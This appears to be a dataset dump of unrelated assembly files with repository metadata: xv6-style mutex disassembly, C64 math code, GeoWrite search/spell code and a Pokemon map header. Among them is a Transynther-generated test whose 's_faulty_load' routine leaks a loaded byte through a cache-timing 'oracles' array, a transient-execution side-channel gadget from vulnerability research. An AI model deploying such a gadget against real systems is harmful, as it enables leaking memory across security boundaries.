a96: 89 e5 mov %esp,%ebp
a98: 53 push %ebx
a99: 83 ec 04 sub $0x4,%esp
a9c: 8b 5d 08 mov 0x8(%ebp),%ebx
a9f: 90 nop
aa0: 89 d0 mov %edx,%eax
aa2: f0 87 03 lock xchg %eax,(%ebx)
while(xchg(&benny_mootex->locked, 1) != 0){
aa5: 85 c0 test %eax,%eax
aa7: 75 f7 jne aa0 <benny_mootex_spinlock+0x10>
return kthread_self();
aa9: e8 04 fa ff ff call 4b2 <kthread_self>
benny_mootex->bid = benny_self();
aae: 89 43 04 mov %eax,0x4(%ebx)
}
ab1: 83 c4 04 add $0x4,%esp
ab4: 31 c0 xor %eax,%eax
ab6: 5b pop %ebx
ab7: 5d pop %ebp
ab8: c3 ret
ab9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000ac0 <benny_mootex_unlock>:
{
ac0: 55 push %ebp
ac1: 89 e5 mov %esp,%ebp
ac3: 53 push %ebx
ac4: 83 ec 04 sub $0x4,%esp
ac7: 8b 5d 08 mov 0x8(%ebp),%ebx
return kthread_self();
aca: e8 e3 f9 ff ff call 4b2 <kthread_self>
if(tid == benny_mootex->bid){
acf: 39 43 04 cmp %eax,0x4(%ebx)
ad2: 75 1c jne af0 <benny_mootex_unlock+0x30>
__sync_synchronize();
ad4: 0f ae f0 mfence
return 0;
ad7: 31 c0 xor %eax,%eax
benny_mootex->bid = -1;
ad9: c7 43 04 ff ff ff ff movl $0xffffffff,0x4(%ebx)
__sync_lock_release(&benny_mootex->locked);
ae0: c7 03 00 00 00 00 movl $0x0,(%ebx)
}
ae6: 83 c4 04 add $0x4,%esp
ae9: 5b pop %ebx
aea: 5d pop %ebp
aeb: c3 ret
aec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
af0: 83 c4 04 add $0x4,%esp
return -1;
af3: b8 ff ff ff ff mov $0xffffffff,%eax
}
af8: 5b pop %ebx
af9: 5d pop %ebp
afa: c3 ret
afb: 90 nop
afc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000b00 <benny_mootex_trylock>:
{
b00: 55 push %ebp
b01: b8 01 00 00 00 mov $0x1,%eax
b06: 89 e5 mov %esp,%ebp
b08: 53 push %ebx
b09: 83 ec 04 sub $0x4,%esp
b0c: 8b 5d 08 mov 0x8(%ebp),%ebx
b0f: f0 87 03 lock xchg %eax,(%ebx)
if(xchg(&benny_mootex->locked, 1) != 0){
b12: 85 c0 test %eax,%eax
b14: 75 08 jne b1e <benny_mootex_trylock+0x1e>
int tid = kthread_self();
b16: e8 97 f9 ff ff call 4b2 <kthread_self>
benny_mootex->bid = tid;
b1b: 89 43 04 mov %eax,0x4(%ebx)
}
b1e: 83 c4 04 add $0x4,%esp
b21: b8 ff ff ff ff mov $0xffffffff,%eax
b26: 5b pop %ebx
b27: 5d pop %ebp
b28: c3 ret
b29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000b30 <benny_mootex_wholock>:
{
b30: 55 push %ebp
b31: 89 e5 mov %esp,%ebp
return benny_mootex->bid;
b33: 8b 45 08 mov 0x8(%ebp),%eax
}
b36: 5d pop %ebp
return benny_mootex->bid;
b37: 8b 40 04 mov 0x4(%eax),%eax
}
b3a: c3 ret
b3b: 90 nop
b3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000b40 <benny_mootex_islocked>:
{
b40: 55 push %ebp
b41: 89 e5 mov %esp,%ebp
return benny_mootex->locked;
b43: 8b 45 08 mov 0x8(%ebp),%eax
}
b46: 5d pop %ebp
return benny_mootex->locked;
b47: 8b 00 mov (%eax),%eax
}
b49: c3 ret
b4a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000b50 <benny_self>:
{
b50: 55 push %ebp
b51: 89 e5 mov %esp,%ebp
}
b53: 5d pop %ebp
return kthread_self();
b54: e9 59 f9 ff ff jmp 4b2 <kthread_self>
b59: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000b60 <benny_yield>:
{
b60: 55 push %ebp
b61: 89 e5 mov %esp,%ebp
}
b63: 5d pop %ebp
return kthread_yield();
b64: e9 51 f9 ff ff jmp 4ba <kthread_yield>
b69: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000b70 <benny_cpu_count>:
int
benny_cpu_count(void)
{
b70: 55 push %ebp
b71: 89 e5 mov %esp,%ebp
// # error call the kthread_cpu_count() function.
// kthread_cpu_count();
return kthread_cpu_count();
}
b73: 5d pop %ebp
return kthread_cpu_count();
b74: e9 49 f9 ff ff jmp 4c2 <kthread_cpu_count>
b79: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000b80 <benny_thread_count>:
int
benny_thread_count(void)
{
b80: 55 push %ebp
b81: 89 e5 mov %esp,%ebp
// # error call the kthread_thread_count() function.
// kthread_thread_count()
return kthread_thread_count();
}
b83: 5d pop %ebp
return kthread_thread_count();
b84: e9 41 f9 ff ff jmp 4ca <kthread_thread_count>
| 34.029137
| 76
| 0.436614
|
16ab5a6694931488113b8091d9175af924c1a04a
| 6,815
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_663.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_663.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_663.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r8
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0xca11, %r9
nop
cmp %r8, %r8
vmovups (%r9), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %rbp
nop
nop
dec %r12
lea addresses_UC_ht+0x1de11, %r9
and $19236, %rsi
mov $0x6162636465666768, %rbx
movq %rbx, (%r9)
nop
xor %r12, %r12
lea addresses_D_ht+0x13111, %rsi
lea addresses_WT_ht+0x1be11, %rdi
clflush (%rsi)
nop
nop
nop
sub %rbx, %rbx
mov $11, %rcx
rep movsw
nop
nop
nop
xor %r12, %r12
lea addresses_WC_ht+0x15351, %rsi
lea addresses_normal_ht+0xa3b1, %rdi
nop
nop
cmp %rbx, %rbx
mov $51, %rcx
rep movsb
nop
nop
nop
xor $60611, %r8
lea addresses_WC_ht+0xc011, %rbp
nop
nop
nop
nop
nop
and %r8, %r8
movb (%rbp), %r12b
nop
nop
nop
nop
and $48023, %rbp
lea addresses_UC_ht+0xab11, %rsi
lea addresses_A_ht+0x6683, %rdi
nop
nop
nop
nop
nop
cmp %r12, %r12
mov $22, %rcx
rep movsb
nop
nop
nop
nop
sub %rsi, %rsi
lea addresses_normal_ht+0x5c91, %r8
nop
nop
nop
nop
mfence
movl $0x61626364, (%r8)
nop
nop
nop
sub $12643, %rsi
lea addresses_normal_ht+0x15911, %r8
nop
nop
nop
nop
sub $24131, %rsi
mov $0x6162636465666768, %rdi
movq %rdi, (%r8)
nop
sub $63367, %r9
lea addresses_A_ht+0x170a9, %r9
nop
nop
nop
nop
sub $44751, %rcx
mov (%r9), %r8
nop
nop
and $26145, %r12
lea addresses_A_ht+0x1ee8, %rdi
nop
nop
cmp $19482, %r12
mov $0x6162636465666768, %r8
movq %r8, %xmm3
and $0xffffffffffffffc0, %rdi
vmovaps %ymm3, (%rdi)
nop
nop
cmp %rsi, %rsi
lea addresses_UC_ht+0xa211, %rdi
nop
nop
nop
inc %r9
mov $0x6162636465666768, %rsi
movq %rsi, (%rdi)
nop
nop
nop
xor $54837, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r15
push %r9
push %rbp
push %rbx
push %rcx
// Faulty Load
lea addresses_D+0x11a11, %r11
cmp %rbp, %rbp
movups (%r11), %xmm2
vpextrq $0, %xmm2, %r15
lea oracles, %r11
and $0xff, %r15
shlq $12, %r15
mov (%r11,%r15,1), %r15
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r15
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': True, 'type': 'addresses_D'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': True, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC_ht'}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 36.25
| 2,999
| 0.660015
|
333af477f6b1adfae5c0d5f4c0333a8df7573376
| 205
|
asm
|
Assembly
|
src/test/resources/rom/math2.asm
|
yottatsa/basicv2
|
d64e3ed256bcac5e6f3d5f5cae0da3266a16d356
|
[
"Unlicense"
] | 71
|
2016-08-09T20:12:50.000Z
|
2022-03-25T08:17:48.000Z
|
src/test/resources/rom/math2.asm
|
yottatsa/basicv2
|
d64e3ed256bcac5e6f3d5f5cae0da3266a16d356
|
[
"Unlicense"
] | 35
|
2017-01-04T17:35:08.000Z
|
2021-11-05T11:09:06.000Z
|
src/test/resources/rom/math2.asm
|
yottatsa/basicv2
|
d64e3ed256bcac5e6f3d5f5cae0da3266a16d356
|
[
"Unlicense"
] | 12
|
2018-08-20T03:12:42.000Z
|
2021-09-21T00:30:11.000Z
|
*=$c000
lda #<NUMBER
ldy #>NUMBER
jsr REALFAC
ldx #00
ldy #$20
jsr 48087
lda #0
ldy #$20
jsr 48034
jsr 49009
ldx #$10
ldy #$20
jsr 48087
jsr 43708
rts
NUMBER .real 3124.4569
| 10.789474
| 22
| 0.595122
|
71706ac594819fd67cb6cfdc6432add2bd6459c6
| 12,427
|
asm
|
Assembly
|
Appl/GeoWrite/Document/documentSearchSp.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Appl/GeoWrite/Document/documentSearchSp.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Appl/GeoWrite/Document/documentSearchSp.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @----------------------------------------------------------------------
Copyright (c) Berkeley Softworks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: GeoWrite
FILE: documentSearchSp.asm
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/92 Initial version
DESCRIPTION:
This file contains the VisContent related code for WriteDocumentClass
$Id: documentSearchSp.asm,v 1.1 97/04/04 15:56:21 newdeal Exp $
------------------------------------------------------------------------------@
DocSTUFF segment resource
COMMENT @----------------------------------------------------------------------
MESSAGE: WriteDocumentGetObjectForSearchSpell --
MSG_META_GET_OBJECT_FOR_SEARCH_SPELL for WriteDocumentClass
DESCRIPTION: Get an object for search spell. This requires loopoing
through all the text objects in the document
PASS:
*ds:si - instance data
es - segment of WriteDocumentClass
ax - The message
cx:dx - object that search/spell is currently in
bp - GetSearchSpellObjectParam
RETURN:
cx:dx - requested object (or 0 if none)
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
Text objects are enumerated in this order:
1) Each article
2) Main grobj body
3) Each master page
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 11/19/92 Initial version
------------------------------------------------------------------------------@
WriteDocumentGetObjectForSearchSpell method dynamic WriteDocumentClass,
MSG_META_GET_OBJECT_FOR_SEARCH_SPELL
call LockMapBlockES
ifdef GPC
push bp ; save original request
endif
; Getting the first object is easy. Just return the first article
; (which conveniently is our first child)
cmp bp, GSSOT_FIRST_OBJECT
jnz notFirstObject
add bx, ds:[bx].Vis_offset
movdw cxdx, ds:[bx].VCI_comp.CP_firstChild
jmp done
; Getting the last object involves going to the last master page
; and sending it a message to find the last text object on it
notFirstObject:
cmp bp, GSSOT_LAST_OBJECT
jnz notLastObject
mov ax, CA_LAST_ELEMENT
call SectionArrayEToP_ES
jmp lastMasterPageInSection
notLastObject:
; Getting the next or previous object is somewhat of a pain.
; First we have to figure out what type of object we are at
mov ax, offset WriteArticleClass
call isInClass
jnc notArticle
; The object is an article -- find the child number
treatAsArticle:
push bp
call callFindChild
mov_tr ax, bp
pop bp
cmp bp, GSSOT_NEXT_OBJECT
jnz prevArticle
; go to the next article or to the grobj body
inc ax
mov_tr dx, ax
clr cx
call callFindChild ;cx:dx = optr
mov ax, offset WriteArticleClass
call isInClass
LONG jc done
; next object is the grobj body -- go to its first object (if any)
mov bp, GSSOT_FIRST_OBJECT
call getGrObjObject
LONG jnz done
jmp firstMasterPage
prevArticle:
dec ax
LONG js returnNone
mov_tr dx, ax
clr cx
call callFindChild ;cx:dx = optr
jmp done
;---------------------------
; current object is a grobj text object -- get the body
notArticle:
push si, bp
pushdw cxdx ;save grobj text object
push bp
movdw bxsi, cxdx
mov ax, MSG_VIS_FIND_PARENT
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ;cxdx = body
pop bp
movdw bxsi, cxdx ;bxsi = body
popdw cxdx ;cxdx = grobj text object
or bp, mask GSSOP_RELAYED_FLAG
mov ax, MSG_META_GET_OBJECT_FOR_SEARCH_SPELL
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
movdw axdi, cxdx ;axdi = value returned
movdw cxdx, bxsi ;cxdx = grobj body
pop si, bp
tst ax
jz notFound
movdw cxdx, axdi
jmp done
notFound:
; the grobj body needs help -- first map NEXT to FIRST and PREV to LAST
cmp bp, GSSOT_NEXT_OBJECT
mov bp, GSSOT_FIRST_OBJECT
jz 10$
mov bp, GSSOT_LAST_OBJECT
10$:
; see if it is the main body
mov ax, offset WriteMasterPageGrObjBodyClass
call isInClass
jc masterPage
; current object is the main grobj body
mainBodyCommon:
cmp bp, GSSOT_FIRST_OBJECT
jz firstMasterPage
mov bp, GSSOT_PREV_OBJECT
jmp treatAsArticle
; goto first master page
firstMasterPage:
clr ax
call SectionArrayEToP_ES
mov ax, es:[di].SAE_masterPages[0]
jmp gotMasterPageBlock
;---------------------------
; current object (cx:dx) is a master page body -- find it in the array
masterPage:
push cx, dx, si
call MemBlockToVMBlockCX
segxchg ds, es ;ds = map block, es = document
mov si, offset SectionArray
mov bx, cs
mov di, offset FindMasterCallback
call ChunkArrayEnum ;dx = offset of element
EC < ERROR_NC MASTER_PAGE_NOT_FOUND >
mov di, dx
pop cx, dx, si
segxchg ds, es
; es:di = SectionArrayElement, al = # master pages before, ah = # after
lea bx, es:[di].SAE_masterPages
push ax
clr ah
shl ax
add bx, ax ;ds:bx points at master page
pop ax
cmp bp, GSSOT_LAST_OBJECT
jz prevMasterPage
; go to the next master page
tst ah
jz nextSection
mov ax, es:[bx+2]
gotMasterPageBlock:
call WriteVMBlockToMemBlock ;ax = mem block of master page
mov_tr cx, ax
mov dx, offset MasterPageBody
call getGrObjObject
jnz done
jmp masterPage
; go to first master page in next section
nextSection:
push si
segxchg ds, es
mov si, offset SectionArray
call ChunkArrayPtrToElement
inc ax
push cx
call ChunkArrayElementToPtr
pop cx
segxchg ds, es
pop si
jc returnNone
mov ax, es:[di].SAE_masterPages[0]
jmp gotMasterPageBlock
; go to the previous master page
prevMasterPage:
tst al
jz prevSection
mov ax, es:[bx-2]
jmp gotMasterPageBlock
; go to the previous section
prevSection:
push si
segxchg ds, es
mov si, offset SectionArray
call ChunkArrayPtrToElement
dec ax
js wrapToMainBody
push cx
call ChunkArrayElementToPtr
pop cx
segxchg ds, es
pop si
lastMasterPageInSection:
mov bx, es:[di].SAE_numMasterPages
dec bx
shl bx
mov ax, es:[di][bx].SAE_masterPages[0]
jmp gotMasterPageBlock
wrapToMainBody:
segxchg ds, es
pop si
mov ax, es:[MBH_grobjBlock]
call WriteVMBlockToMemBlock
mov_tr cx, ax
mov dx, offset MainBody
mov bp, GSSOT_LAST_OBJECT
call getGrObjObject
jnz done
jmp mainBodyCommon
;---------------------------
returnNone:
clrdw cxdx
done:
ifdef GPC
pop bp ; bp = original command
call handleWrap
endif
EC < call AssertIsWriteDocument >
call VMUnlockES
ret
ifdef GPC
handleWrap label near
;
; check wrap-around: we've wrapped when we get GSSOT_FIRST_OBJECT
; after getting GSSOT_NEXT_OBJECT and returning 0:0, so when get
; GSSOT_NEXT_OBJECT and will return 0:0, set flag, when
; GSSOT_FIRST_OBJECT comes in and flag is set, query user and only
; return first object is user acknowledges wrap around
;
cmp bp, GSSOT_FIRST_OBJECT
je checkWrapped
cmp bp, GSSOT_LAST_OBJECT
je checkWrapped
tst cx
jnz noWrap
cmp bp, GSSOT_NEXT_OBJECT
je markWrap
cmp bp, GSSOT_PREV_OBJECT
jne noWrap
markWrap:
mov ax, TEMP_WRITE_DOCUMENT_NO_SEARCH_WRAP_CHECK
call ObjVarFindData
jc noWrap
push cx
mov ax, TEMP_WRITE_DOCUMENT_SEARCH_WRAPPED
clr cx
call ObjVarAddData
pop cx
noWrap:
retn
checkWrapped:
mov ax, TEMP_WRITE_DOCUMENT_SEARCH_WRAPPED
call ObjVarDeleteData
jc noWrap ; C set if not found
push si
mov ax, offset SearchReachedEndString
cmp bp, GSSOT_FIRST_OBJECT
je gotString
mov ax, offset SearchReachedBeginningString
gotString:
call DisplayQuestion
cmp ax, IC_YES
pop si
je noWrap ; yes, continue search
clrdw cxdx ; stop search
jmp noWrap
endif
;---
; ax = offset of class
; return carry set if cxdx is an article
; destroy: ax
isInClass:
push bx, cx, dx, si, di, bp, ds
movdw bxsi, cxdx ;bx:si = object
mov cx, segment GeoWriteClassStructures
mov_tr dx, ax
mov ax, MSG_META_IS_OBJECT_IN_CLASS
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
pop bx, cx, dx, si, di, bp, ds
retn
;---
callFindChild:
mov ax, offset VI_link
mov bx, offset Vis_offset
mov di, offset VCI_comp
call ObjCompFindChild ;bp = child number
retn
;---
; pass cxdx = grobj body, bp = type
; return cxdx = object or body, Z clear if exists
; destroy: none
getGrObjObject:
push ax, bx, si, di, bp
or bp, mask GSSOP_RELAYED_FLAG
movdw bxsi, cxdx
mov ax, MSG_META_GET_OBJECT_FOR_SEARCH_SPELL
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
tst cx
jnz getDone
movdw cxdx, bxsi ;return body if no object found
getDone:
pop ax, bx, si, di, bp
retn
WriteDocumentGetObjectForSearchSpell endm
COMMENT @----------------------------------------------------------------------
FUNCTION: FindMasterCallback
DESCRIPTION: Callback routine to find a master page
CALLED BY: INTERNAL
PASS:
ds:di - SectionArrayElement
cx - master page VM block
RETURN:
carry - set if found
offset of element
al - number of master pages before
ah - number of master pages after
DESTROYED:
bx, di
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 11/19/92 Initial version
------------------------------------------------------------------------------@
FindMasterCallback proc far
mov dx, di
clr ax
mov ah, ds:[di].SAE_numMasterPages.low
add di, offset SAE_masterPages
compareLoop:
cmp cx, ds:[di]
stc
jz done
add di, size word
inc al
dec ah
jnz compareLoop
clc
done:
pushf
dec ah
popf
ret
FindMasterCallback endp
ifdef GPC
;
; sorry about this...
;
WriteDocumentClearSearchWrap method dynamic WriteDocumentClass,
MSG_WRITE_DOCUMENT_CLEAR_SEARCH_WRAP_CHECK
mov ax, TEMP_WRITE_DOCUMENT_NO_SEARCH_WRAP_CHECK
clr cx
call ObjVarAddData
ret
WriteDocumentClearSearchWrap endm
WriteDocumentSetSearchWrap method dynamic WriteDocumentClass,
MSG_WRITE_DOCUMENT_SET_SEARCH_WRAP_CHECK
mov ax, TEMP_WRITE_DOCUMENT_NO_SEARCH_WRAP_CHECK
call ObjVarDeleteData
ret
WriteDocumentSetSearchWrap endm
GeoWriteClassStructures segment resource
WSpellControlClass
WSearchReplaceControlClass
GeoWriteClassStructures ends
WSpellControlStartSpell method dynamic WSpellControlClass,
MSG_SC_CHECK_ENTIRE_DOCUMENT,
MSG_SC_CHECK_TO_END,
MSG_SC_CHECK_SELECTION
;
; even though the WriteDocument is run by the process thread,
; synchronization is fine here since the SpellControl will also
; being sending MSG_SPELL_CHECK to the spell target (run by
; process thread)
;
push ax, cx, dx, bp, si
mov ax, MSG_WRITE_DOCUMENT_CLEAR_SEARCH_WRAP_CHECK
mov bx, segment WriteDocumentClass
mov si, offset WriteDocumentClass
mov di, mask MF_RECORD
call ObjMessage
mov cx, di
mov ax, MSG_META_SEND_CLASSED_EVENT
mov dx, TO_MODEL
GetResourceHandleNS WriteDocumentGroup, bx
mov si, offset WriteDocumentGroup
clr di
call ObjMessage
pop ax, cx, dx, bp, si
; resume course
mov di, offset WSpellControlClass
call ObjCallSuperNoLock
ret
WSpellControlStartSpell endm
WSearchReplaceControlStartSearch method dynamic WSearchReplaceControlClass,
MSG_SRC_FIND_NEXT,
MSG_SRC_FIND_PREV,
MSG_REPLACE_CURRENT,
MSG_REPLACE_ALL_OCCURRENCES,
MSG_REPLACE_ALL_OCCURRENCES_IN_SELECTION,
MSG_SRC_REPLACE_ALL_OCCURRENCES_NO_QUERY,
MSG_SRC_FIND_FROM_TOP
;
; even though the WriteDocument is run by the process thread,
; synchronization is fine here since the SpellControl will also
; being sending MSG_SEARCH to the spell target (run by
; process thread)
;
push ax, cx, dx, bp, si
mov ax, MSG_WRITE_DOCUMENT_SET_SEARCH_WRAP_CHECK
mov bx, segment WriteDocumentClass
mov si, offset WriteDocumentClass
mov di, mask MF_RECORD
call ObjMessage
mov cx, di
mov ax, MSG_META_SEND_CLASSED_EVENT
mov dx, TO_MODEL
GetResourceHandleNS WriteDocumentGroup, bx
mov si, offset WriteDocumentGroup
clr di
call ObjMessage
pop ax, cx, dx, bp, si
; resume course
mov di, offset WSearchReplaceControlClass
call ObjCallSuperNoLock
ret
WSearchReplaceControlStartSearch endm
endif
DocSTUFF ends
| 22.553539
| 80
| 0.699364
|
d4220db75672d446e8339a0efeb9ae328d874d0a
| 261
|
asm
|
Assembly
|
data/mapHeaders/CeladonDiner.asm
|
AmateurPanda92/pokemon-rby-dx
|
f7ba1cc50b22d93ed176571e074a52d73360da93
|
[
"MIT"
] | 9
|
2020-07-12T19:44:21.000Z
|
2022-03-03T23:32:40.000Z
|
data/mapHeaders/CeladonDiner.asm
|
JStar-debug2020/pokemon-rby-dx
|
c2fdd8145d96683addbd8d9075f946a68d1527a1
|
[
"MIT"
] | 7
|
2020-07-16T10:48:52.000Z
|
2021-01-28T18:32:02.000Z
|
data/mapHeaders/CeladonDiner.asm
|
JStar-debug2020/pokemon-rby-dx
|
c2fdd8145d96683addbd8d9075f946a68d1527a1
|
[
"MIT"
] | 2
|
2021-03-28T18:33:43.000Z
|
2021-05-06T13:12:09.000Z
|
CeladonDiner_h:
db LOBBY ; tileset
db CELADON_DINER_HEIGHT, CELADON_DINER_WIDTH ; dimensions (y, x)
dw CeladonDiner_Blocks ; blocks
dw CeladonDiner_TextPointers ; texts
dw CeladonDiner_Script ; scripts
db 0 ; connections
dw CeladonDiner_Object ; objects
| 29
| 65
| 0.804598
|
